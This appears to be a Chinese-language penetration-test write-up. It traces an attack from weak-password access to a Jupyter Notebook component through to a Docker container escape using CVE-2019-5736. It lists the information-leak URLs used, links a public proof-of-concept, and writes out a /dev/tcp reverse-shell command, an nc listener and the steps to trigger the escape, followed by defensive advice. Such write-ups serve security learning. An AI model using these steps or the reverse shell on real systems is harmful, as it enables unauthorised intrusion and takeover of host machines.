偶然的一次渗透从弱口令->docker逃逸
字数 1262 2025-08-18 11:36:47
Docker逃逸实战:从弱口令到容器逃逸
0x01 前言
本文记录了一次完整的渗透测试过程,从发现弱口令漏洞开始,最终通过Docker逃逸技术获取宿主机权限。整个过程涉及信息收集、漏洞利用、Docker环境识别和容器逃逸技术。
0x02 前期信息收集
目标系统架构
- 操作系统: Ubuntu
- Web服务器: Nginx + Java
- 开放端口: 80, 443
目录扫描结果
扫描发现了以下关键目录:
/jira/- Jupyter Notebook组件/gitlab/- GitLab服务/owncloud/- OwnCloud云存储/confluence/- Confluence协作平台
0x03 漏洞测试
Jupyter Notebook组件测试
-
尝试未授权访问漏洞(已修复)
-
发现两个信息泄露漏洞:
/jira/secure/ViewUserHover.jspa?username=admin/jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true
-
通过信息泄露获取用户列表,爆破出用户"Kevin"
突破点
尝试使用弱密码"123456"成功登录Jupyter Notebook组件
0x04 Docker环境识别
- 通过New->Terminal进入命令行
- 在根目录发现
.dockerenv文件 - 检查系统进程的cgroup信息确认Docker环境
0x05 Docker逃逸技术
利用CVE-2019-5736漏洞
- 漏洞原理:该漏洞允许容器内用户通过覆盖宿主机上的runc二进制文件实现逃逸
- 需要条件:
- 能够执行任意命令
- 能够上传文件到容器
- 能够重新进入容器
利用步骤
- 获取POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
- 修改main.go中的反弹shell命令:
command := "/bin/bash -c 'bash -i >& /dev/tcp/[YOUR_IP]/[PORT] 0>&1'" - 编译POC(需要Go环境):
go build main.go - 上传编译后的exp到目标服务器
- 在VPS上设置监听:
nc -lvnp [PORT] - 在目标容器中执行exp
- 重新进入Jupyter Notebook的终端界面触发漏洞
- 成功获取宿主机shell
结语
- 该漏洞利用需要重新进入容器才能触发
- 实际利用中可能会遇到端口问题,需要尝试不同端口
- 此漏洞利用可能导致Docker服务崩溃
- 发现漏洞后应及时报告,避免进一步渗透
防御建议
- 避免使用弱密码
- 及时更新Docker和runc版本
- 限制容器内用户的权限
- 定期检查容器环境的安全配置
- 修复信息泄露漏洞
参考资源
- CVE-2019-5736漏洞分析:https://www.freebuf.com/articles/web/258398.html
- 官方POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
- Docker安全最佳实践:https://docs.docker.com/engine/security/